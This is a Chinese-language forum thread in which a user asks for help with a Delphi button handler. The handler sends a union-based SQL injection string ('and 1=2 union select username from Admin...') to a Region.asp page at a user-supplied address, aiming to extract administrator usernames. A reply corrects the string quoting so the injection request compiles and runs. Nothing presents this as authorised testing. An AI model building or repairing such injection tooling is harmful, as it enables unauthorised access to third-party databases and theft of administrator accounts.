实现:点了button以后发送 edit1.text + '后面的一串'  到web服务器后面一串如下:/Region.asp?Country=tt&City=fucka&Province=bug' and 1=2 union select username from Admin where 1<2 and '1'='1我的代码procedure TForm1.Button2Click(Sender: TObject);
begin
self.WebBrowser1.Navigate(edit1.Text+'/Region.asp?Country=tt&City=fucka&Province=bug''+'and'+'1=2'+'union'+'select'+'username'+'from'+'Admin'+'where'+'1'+'<'+'2'+'and'+'1'='1);
end;提示有错误:Missing operator or semicolon望朋友指点

解决方案 »

  1.   

    如果你的URL就是那样的(我没有看出提交给ASP的那些字串是什么意思),那么,可以按下面这样:
    var s:string;
    begin
      s:=s+'/Region.asp?Country=tt&City=fucka&Province=bug';
      s:=s+quotedstr(' and 1=2 union select username from Admin where 1<2 and ');
      s:=s+'1';
      s:=s+quotedstr('=');
      s:=s+'1';
      WebBrowser1.Navigate(edit1.Text+s);
    end;